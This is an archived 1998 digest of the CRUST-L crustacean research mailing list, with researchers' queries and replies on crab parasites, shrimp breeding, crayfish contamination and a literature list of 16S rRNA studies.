Davidson, K. J. Dear all; Does anyone have an email address for Dr. Davidson, K. J. in Canada? His major is crab fishery. Could you please help me. with the best regards =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 28 Oct 1998 08:02:35 -0800 From: ""Li, Kevin"" Subject: CRUST-L: crayfish/coliform bacteria/sewage Has there been work done on crayfish coliform bacteria levels in relation to sewage leaks and human health risk? I'm trying to direct a literature search for a colleague tracking a suspected sewage leak in an area where crayfish are frequently collected for human consumption. We're working in the North Seattle area of Washington State, where our local species is Pacifasticus leniusculus. Thanks in advance for any guidance on the literature and past and current research. Kevin Li King County Environmental Lab 322 West Ewing St. Seattle, WA 98119 (206) 684-2344 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sat, 31 Oct 1998 02:39:56 -0600 (CST) From: cds5356@usl.edu (Christoph Schubart) Subject: CRUST-L: Bioluminescent Gammarids Hi Crust-lers; Has anybody ever seen bioluminescent Gammarus? I have seen a live bioluminescent Gammarus (most probably G. aequicauda) when it eats a Chironomus larvae. Is it normal or frequently seen in Gammarus genus? Murat OZBEK Ege Universitesi Su Urunleri Fak. Temel Bilimler Bol. 35100- Bornova- Izmir- TURKEY e-mail: ozbek@sufak.ege.edu.tr =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sat, 31 Oct 1998 15:50:50 GMT+0200 From: ""Mr. P. Teske"" Subject: CRUST-L: new species Dear Crust-lers, I am currently working on my MSc aimed at describing macrobenthos in estuaries of the Eastern Cape, South Africa. During my sampling I have found a number of crustaceans (isopods, amphipods, and a tanaid), which I haven't been able to identify using the literature available. It is more than likely that at least some of them are previously undescribed species. Is anybody out there interested in (a) joint publication(s)? Please mail me the following details about yourself: - -ranking as a biologist - -experience with crustaceans - -access to literature about Southern African crustaceans/crustaceans worldwide (to make sure we don't describe an alien species) - -any previous publications? I am looking forward to hearing from you! The same research has also yielded a fairly large number of unknown polychaetes. Does anybody know if there is a polychaete/oligochaete-list? Or do you know anybody who might be interested in describing some of these new species? Presently, it seems that there is no authority on polychaetes anywhere in South Africa. Any contribution would provide a major boost for this neglected branch of taxonomy, as many of the previously undescribed species are actually quite common in our estuaries. Anybody interested - please mail your above details to: zlbprt@zoo.upe.ac.za =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sat, 31 Oct 1998 10:17:15 -0500 From: TAF Subject: Re: CRUST-L: new species Mr. P. Teske wrote: > Dear Crust-lers, > I am currently working on my MSc aimed at describing macrobenthos in > estuaries of the Eastern Cape, South Africa. During my sampling I > have found a number of crustaceans (isopods, amphipods, and a > tanaid), which I haven't been able to identify using the literature > available. It is more than likely that at least some of them are > previously undescribed species. > Is anybody out there interested in (a) joint publication(s)? > Please mail me the following details about yourself: > -ranking as a biologist > -experience with crustaceans > -access to literature about Southern African crustaceans/crustaceans > worldwide (to make sure we don't describe an alien species) > -any previous publications? > > I am looking forward to hearing from you! > > The same research has also yielded a fairly large number of unknown > polychaetes. Does anybody know if there is a polychaete/oligochaete-list? > Or do you know anybody who might be interested in describing some of > these new species? Presently, it seems that there is no authority on > polychaetes anywhere in South Africa. Any contribution would provide > a major boost for this neglected branch of taxonomy, as many of the > previously undescribed species are actually quite common in our > estuaries. Anybody interested - please mail your above details to: > zlbprt@zoo.upe.ac.za > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Try this for reaching polychaeters. I think you put ""Suscribe"" in the subject line and send it to the server. - -- ANNELIDA LIST Discuss = = talk to all members Server = = un/subscribes Archives = http://www.bio.net:80/hypermail/ANNELIDA/ Resources = http://biodiversity.uno.edu/~worms/annelid.html - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sat, 31 Oct 1998 15:52:43 -0500 From: Christoph Schubart Subject: CRUST-L: molecular systematics Dear crustacean workers, there are two different things that I want to post to this list: 1) I would like to get in touch with people who might have ethanol-preserved specimens of the following crabs from the eastern Pacific in their collections or know where to obtain them: Aratus pisonii (H. Milne Edwards, 1837) Armases gorei (Abele, 1981) Pachygrapsus transversus (Gibbes, 1850) 2) For my presentation at the Amsterdam meetings this last summer, I have been compiling all the available literature that uses DNA sequence of the 16S rRNA mitochondrial gene for population or phylogeny studies in crustaceans. In the proceedings volume, I now want to include a table that summarizes the contents of these studies. I am appending a list of all the published literature that I am aware of. If there is someone knowing about additional studies using sequence of this gene in crustaceans (even if submitted, in press, or conference contributions), please let me know. Thanks, Christoph BATUECAS, B., R. GARESSE, M. CALLEJA, J.R. VALVERDE, R. MARCO, 1988. Genome organization of Artemia mitochondrial DNA. Nucleic Acids Res. 16(14): 6515-6529. BUCKLIN, A. & T.C. LAJEUNESSE, 1994. Molecular genetic variation of Calanus pacificus (Copepoda: Calanoida): preliminary evaluation of genetic structure and subspecific differentiation based on mtDNA sequences. Calif. Coop. Ocean. Fish. Invest. Rep. 35: 45-51. BUCKLIN, A., B.W. FROST & T.D. KOCHER, 1992. DNA sequence variation of the mitochondrial 16S rRNA in Calanus (Copepoda; Calanoida): intraspecific and interspecific patterns. Molec. Mar. Biol. Biotechnol. 1: 397-407. BUCKLIN, A., B.W. FROST & T.D. KOCHER, 1995. Molecular systematics of six Calanus and three Metridia species (Calanoida: Copepoda). Mar. Biol. 121: 655-664. CRANDALL, K.A., 1998. Conservation phylogenetics of Ozark crayfishes: assigning priorities for aquatic habitat protection. Biological Conservation 84: 107-117. CRANDALL, K.A. & J.E. FITZPATRICK JR., 1996. Crayfish molecular systematics: using a combination of procedures to estimate phylogeny. Syst. Biol. 45(1): 1-26. CRANDALL, K.A., S.H. LAWLER & C.M. AUSTIN, 1995. A preliminary examination of the molecular phylogenetic relationships of some crayfish genera from Australia (Decapoda: Parastacidae). Freshwater Crayfish 10: 18-30. CUESTA, J.A. & C.D. SCHUBART, in press. Morphological and molecular differentiation between three allopatric populations of the littoral crab Pachygrapsus transversus (Gibbes, 1850) (Brachyura: Grapsidae). J. Nat. Hist. 32. CUNNINGHAM, C.W., N.W. BLACKSTONE & L.W. BUSS, 1992. Evolution of king crabs from hermit crab ancestors. Nature 355: 539-542. FRANCE, S.C. & T.D. KOCHER, 1996. DNA sequencing of formalin-fixed crustaceans from archival research collections. Mol. Mar. Biol. Biotechnol. 5(4): 304-313. FRANCE, S.C. & T.D. KOCHER, 1996. Geographic and bathymetric patterns of mitochondrial 16S rRNA sequence divergence among deep-sea amphipods, Eurythenes gryllus. Mar. Biol. 126(4): 633-643. GELLER, J.B., E.D. WALTON, E.D. GROSHOLZ & G.M. RUIZ, 1997. Cryptic invasions of the crab Carcinus detected by molecular phylogeography. Mol. Ecol. 6: 901-906. KITAURA, J., K. WADA & M. NISHIDA, 1998. Molecular phylogeny and evolution of unique mud-using territorial behavior in ocypodid crabs (Crustacea: Brachyura: Ocypodidae). Mol. Biol. Evol. 15(6): 626-637. LAWLER, S.H. & K.A. CRANDALL, 1998. The relationhip of the Australian freshwater crayfish genera Euastacus and Astacopsis. Proc. Linn. Soc. N.S.W. 119: 1-8. LEVINTON, J., C. STURMBAUER & J. CHRISTY, 1996. Molecular data and biogeography: resolution of a controversy over evolutionary history of a pan-tropical group of invertebrates. J. Exp. Mar. Biol. Ecol. 203: 117-131. MACHADO, E.G., N. DENNEBOUY, M.O. SUAREZ, J.-C. MOUNOLOU & M. MONNEROT, 1993. Mitochondrial 16S-rRNA gene of two species of shrimps: sequence variability and secondary structure. Crustaceana 65: 279-286. PALMERO, I., J. RENART & L. SASTRE, 1988. Isolation of cDNA clones coding for mitochondrial 16S ribosomal RNA from the crustacean Artemia. Gene 68: 239-248. PATARNELLO, T., L. BARGELLONI, V. VAROTTO & B. BATTAGLIA, 1996. Krill evolution and the Antarctic ocean currents: evidence of vicariant speciation as inferred by molecular data. Mar. Biol. 126: 603-608. PONNIAH, M. & J.M. HUGHES, 1998. Evolution of Queensland spiny mountain crayfish of the genus Euastacus Clark (Decapoda: Parastacidae): preliminary 16s mtDNA phylogeny. Proc. Linn. Soc. N.S.W. 119: 9-19. SARVER, S.K., J.D. SILBERMAN & P.J. WALSH, 1998. Mitochondrial DNA sequence evidence supporting the recognition of two subspecies or species of the Florida spiny lobster Panulirus argus. J. Crust. Biol. 18(1): 177-186. SCHNEIDER-BROUSSARD, R. & J.E. NEIGEL, 1997. A large subunit mitochondrial ribosomal DNA sequence translocated to the nuclear genome of two stone crabs (Menippe). Mol. Biol. Evol. 14(2): 156-165. SCHNEIDER-BROUSSARD, R., D.L. FELDER, C.A. CHLAN & J.E. NEIGEL, in press. Tests of phylogeographic models with nuclear and mitochondrial DNA sequence variation in the stone crabs, Menippe adina and M. mercenaria. Evolution. SCHUBART, C.D., R. DIESEL & S.B. HEDGES, 1998. Rapid evolution to terrestrial life in Jamaican crabs. Nature 393: 363-365. SCHUBART, C.D., J. REIMER & R. DIESEL, in press. Morphological and molecular evidence for a new endemic freshwater crab, Sesarma ayatum sp. n., (Grapsidae, Sesarminae) from eastern Jamaica. Zool. Scr. 27(4). STURMBAUER, C., J.S. LEVINTON & J. CHRISTY, 1996. Molecular phylogeny analysis of fiddler crabs: Test of the hypothesis of increasing behavioral complexity in evolution. Proc. Natl. Acad. Sci. USA 93: 10855-10857. TAM, Y.K. & I. KORNFIELD, 1998. Phylogenetic relationships of clawed lobster genera (Decapoda: Nephropidae) based on mitochondrial 16S rRNA gene sequences. J. Crust. Biol. 18(1): 138-146. TAM, Y.K., I. KORNFIELD & F.P. OJEDA, 1996. Divergence and zoogeography of mole crabs, Emerita spp. (Decapoda: Hippidae), in the Americas. Mar. Biol. 125: 489-497. TAYLOR, D.J., T.L. FINSTON & P.D.N. HEBERT, in press. Biogeography of a widespread freshwater crustacean: pseudocongruence and cryptic endemism in the North American Daphnia laevis complex. Evolution. ___________ Dr. Christoph Schubart Department of Biology and Laboratory for Crustacean Research University of Southwestern Louisiana Lafayette, Louisiana 70504-2451; USA tel. (318)4825304 fax (318)4825834 e-mail: cds5356@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 02 Nov 1998 11:54:02 +1000 From: Leonie Andersen Subject: CRUST-L: crab parasite Hello crustlers, Can anyone help me identify a mass which is attatched to the tail flap of a female sandcrab Portunus pelagicus. At first i thought it was her egg mass as I haven't seen one in a sandcrab before but it doesn't look like the egg masses of other crustaceans. The crab is 15cm carapace width and the mass is 5.5cmx3cm attatched to the base of her tail and extruding out from her tail. It is soft, cream/brown colored and smooth surface. It is kidney shaped with a protruding orifice(anal/oral?) from its concave surface. The orifice has a flat end which has a tiny pore from which a yellow cheesy material can ooze. The mass can be seen to contract spasmodically. The crab appears healthy. I saw a line drawing of a Ctenoplana and the mass looked a bit like that in shape. I have also heard of rhizocephalids parasitizing mudcrabs under the tail flap and rendering them sterile. Could this be the same? Any thoughts appreciated Leonie Leonie Andersen Central QLD Uni. Centre for Enviromental Management Bryan Jordan Dve. Gladstone 4680 AUSTRALIA E-MAIL andersel@quoin.cqu.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 02 Nov 1998 15:11:28 +1000 From: Leonie Andersen Subject: CRUST-L: resend message Not sure if you got this so am resending. Sorry if it doubles up Hello crustlers, Can anyone help me identify a mass which is attatched to the tail flap of a female sandcrab Portunus pelagicus. At first i thought it was her egg mass as I haven't seen one in a sandcrab before but it doesn't look like the egg masses of other crustaceans. The crab is 15cm carapace width and the mass is 5.5cmx3cm attatched to the base of her tail and extruding out from her tail. It is soft, cream/brown colored and smooth surface. It is kidney shaped with a protruding orifice(anal/oral?) from its concave surface. The orifice has a flat end which has a tiny pore from which a yellow cheesy material can ooze. The mass can be seen to contract spasmodically. The crab appears healthy. I saw a line drawing of a Ctenoplana and the mass looked a bit like that in shape. I have also heard of rhizocephalids parasitizing mudcrabs under the tail flap and rendering them sterile. Could this be the same? Any thoughts appreciated Leonie Leonie Andersen Central QLD Uni. Centre for Enviromental Management Bryan Jordan Dve. Gladstone 4680 AUSTRALIA E-MAIL andersel@quoin.cqu.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 02 Nov 1998 09:57:08 -0500 From: Jeffrey Shields Subject: Re: CRUST-L: crab parasite Leonie, The mass is a rhizocephalan barnacle named Sacculina granifera Boschma. The visible part is called a sacculina externa. For more info see the references listed below. Shields, J.D. 1992. The parasites and symbionts of the crab Portunus pelagicus from Moreton Bay, eastern Australia. J. Crust. Biol. 12: 94-100. Shields, J.D., & F.E.I. Wood. 1993. The impact of parasites on the reproduction and fecundity of the blue sand crab Portunus pelagicus from Moreton Bay, Australia. Mar. Ecol. Prog. Ser. 92: 159-170. Cheers, Jeff At 11:54 AM 11/2/98 +1000, Leonie Andersen wrote: >Hello crustlers, >Can anyone help me identify a mass which is attatched to the tail flap of a >female sandcrab Portunus pelagicus. At first i thought it was her egg mass >as I haven't seen one in a sandcrab before but it doesn't look like the egg >masses of other crustaceans. >The crab is 15cm carapace width and the mass is 5.5cmx3cm attatched to the >base of her tail and extruding out from her tail. It is soft, cream/brown >colored and smooth surface. It is kidney shaped with a protruding >orifice(anal/oral?) from its concave surface. The orifice has a flat end >which has a tiny pore from which a yellow cheesy material can ooze. The >mass can be seen to contract spasmodically. The crab appears healthy. >I saw a line drawing of a Ctenoplana and the mass looked a bit like that in >shape. I have also heard of rhizocephalids parasitizing mudcrabs under the >tail flap and rendering them sterile. Could this be the same? >Any thoughts appreciated >Leonie > >Leonie Andersen >Central QLD Uni. >Centre for Enviromental Management >Bryan Jordan Dve. >Gladstone 4680 >AUSTRALIA > >E-MAIL andersel@quoin.cqu.edu.au > > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 02 Nov 1998 09:57:09 -0500 From: jsgold@neaq.org (Jason Goldstein) Subject: CRUST-L: Horseshoe Crabs Would anyone know the contact name(s) of the Wood's Hole Horseshoe Crab Behaviorists? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 2 Nov 1998 16:29:07 -0400 (EST) From: ""Pereira Guido - Prof. IZT "" Subject: CRUST-L: Callinectes bocourti Hello dear friends, I have a favour to ask. Does any body know about a reference on the LARVAL DEVELOPMENT OF CALLINECTES BOCOURTI? Thanks a lot Guido Pereira Instituto de Zoologia Tropical, UCV email:gpereira@strix.ciens.ucv.ve =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #6 *************************** crust-l-digest Wednesday, November 18 1998 Volume 01 : Number 007 ---------------------------------------------------------------------- Date: Tue, 03 Nov 1998 09:56:14 +1000 From: Leonie Andersen Subject: CRUST-L: crab parasite Thanks to all who responded to my query on the Rhizocephelan. Now I know where they got the idea for the Alien trilogy! One further question please. I read that the parasite infects its host when the crab is in the soft shell stage during a molt. Can it infect the crab at any other time/way ie. through the severed membrane when a claw/limb is thrown? My worry is that the infected crab was kept for a couple of days in a tank with some of my mudcrabs which I might later use in experiments. Are they likely to have been infected and do I need to disinfect biofilters/ tanks etc. and change all the water etc. Thanks Leonie Leonie Andersen Central QLD Uni. Centre for Enviromental Management Bryan Jordan Dve. Gladstone 4680 AUSTRALIA E-MAIL andersel@quoin.cqu.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 03 Nov 1998 20:49:24 -0500 From: Jeffrey Shields Subject: CRUST-L: Email addresses for Thailand (fwd) Please respond to Herath K Sujatha Herath and not to me. Thanks Jeff =====================================forward------------------------ >To: CRUST-L@vims.edu >Subject: Request for e-mail >Message-ID: >MIME-Version: 1.0 >Content-Type: TEXT/PLAIN; charset=US-ASCII > >Dear members, > >Can anyone help me to get an e-mail adress of any of the following >scientists at Mahidol University, Thailand. > >Pranect Damronghol >Nittaya Eangchuan >Boonserm Poolsanguan > >Thank you in advance > >E-mail ; s9711128@minyos.its.rmit.edu.au > >Sujatha Herath >Dept. of Applied Biology and Biotechnology >Royal Melbourne Institute of Technology >Melbourne >Ausralia > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 5 Nov 1998 12:25:28 +1100 (EST) From: Sharyn Gale Subject: CRUST-L: Shrimp Breeding Ecology Hello Crustlers, I am currently trying to rear juveniles of the freshwater shrimp Caridina gracilirostris for future experiments. The breeding stock that I am using was caught from the Finniss River in the Northern Territory of Australia. I have been isolating gravid females in 10 litre fish tanks, and raising the young without removing the adult female. One female became gravid again after 2 months since she released the first batch of eggs. What I would like to know is whether the female can store sperm between moults, self-fertilise, or was it possible that her young fertilised her, hence juveniles become sexually mature within 2 months of age. I would be grateful for any suggestions or references on the ecology of Caridina gracilirostris or related species. Or any tips on raising juvenile shrimp in fish tanks, such as food supply or additives to the water. Thanks in advance, Sharyn Gale ********************************************** Sharyn Gale Environment Division ANSTO PMB 1, MENAI. 2234. Australia +612 T: 9717 3992 F: 9717 9260 ********************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 4 Nov 1998 16:09:50 -1000 From: Curt Fiedler Subject: Re: CRUST-L: Shrimp Breeding Ecology On Wed, 4 Nov 1998, Sharyn Gale wrote: > and raising the young without removing the adult female. One female became > gravid again after 2 months since she released the first batch of eggs. What > I would like to know is whether the female can store sperm between moults, > self-fertilise, or was it possible that her young fertilised her, hence > juveniles become sexually mature within 2 months of age. I'm not sure shrimp can store sperm, long-term, between molts (except penaeids?). I believe that many caridean shrimp have to molt to spawn eggs, especially small species. It may be difficult to store sperm, when you are molting. Your shrimp could be protandrous sex-changers, as this is commonly reported in Atyids. My bet is that the young are all little boys, and they are fertilizing the only available female in the tank. Are your shrimp brackish or fresh water? There are researchers here working on species found in anchialine ponds. I'd be happy to forward an email address to you, if necessary. - -Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 05 Nov 1998 12:39:49 +1000 From: Leonie Andersen Subject: CRUST-L: Crab parasite Thanks to all who responded to my query. I will be more careful not to introduce unknown creatues into my tanks next time. Thanks again for the extensive info. Leonie Leonie Andersen Central QLD Uni. Centre for Enviromental Management Bryan Jordan Dve. Gladstone 4680 AUSTRALIA E-MAIL andersel@quoin.cqu.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 05 Nov 1998 18:26:11 +1100 From: Buz Wilson Subject: CRUST-L: galatheids Gang, David Thistle has a question for any galatheoid fans out there: >Subject: galathiids >Author: David Thistle at Internet >Date: 11/4/98 11:13 AM > Do you know how galathiids feed? If not, where should I look? David >David Thistle Buz Wilson Australian Museum =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 5 Nov 98 07:24:34 -0500 From: wdaniels@dsc.edu Subject: Re: CRUST-L: Shrimp Breeding Ecology - --- On Thu, 5 Nov 1998 12:25:28 +1100 (EST) Sharyn Gale wrote: Hello Crustlers, I am currently trying to rear juveniles of the freshwater shrimp Caridina gracilirostris for future experiments. The breeding stock that I am using was caught from the Finniss River in the Northern Territory of Australia. I have been isolating gravid females in 10 litre fish tanks, and raising the young without removing the adult female. One female became gravid again after 2 months since she released the first batch of eggs. What I would like to know is whether the female can store sperm between moults, self-fertilise, or was it possible that her young fertilised her, hence juveniles become sexually mature within 2 months of age. I would be grateful for any suggestions or references on the ecology of Caridina gracilirostris or related species. Or any tips on raising juvenile shrimp in fish tanks, such as food supply or additives to the water. Thanks in advance, Sharyn Gale - ---------------End of Original Message----------------- Sharyn, Most crustaceans will lose the sperm plug when molting because part of the shell is within the female's reproductive track. The question here is whether or not the eggs have been fertilized. For example, Macrobrachium rosenbergii will lay eggs without a sperm plug present but the eggs will not develop and will soon fall off. Females continue to cycle with or without males; however, eggs won't develop. Bill - -------------------------------------------------------- Bill Daniels Research Associate Professor/ Extension Specialist, Aquaculture 1200 N. Dupont Hwy. Dept. of Agriculture & Natural Resources Delaware State University Dover, DE 19901-2277 (302)-739-6944 (phone) (302)-739-2014 (fax) E-mail: 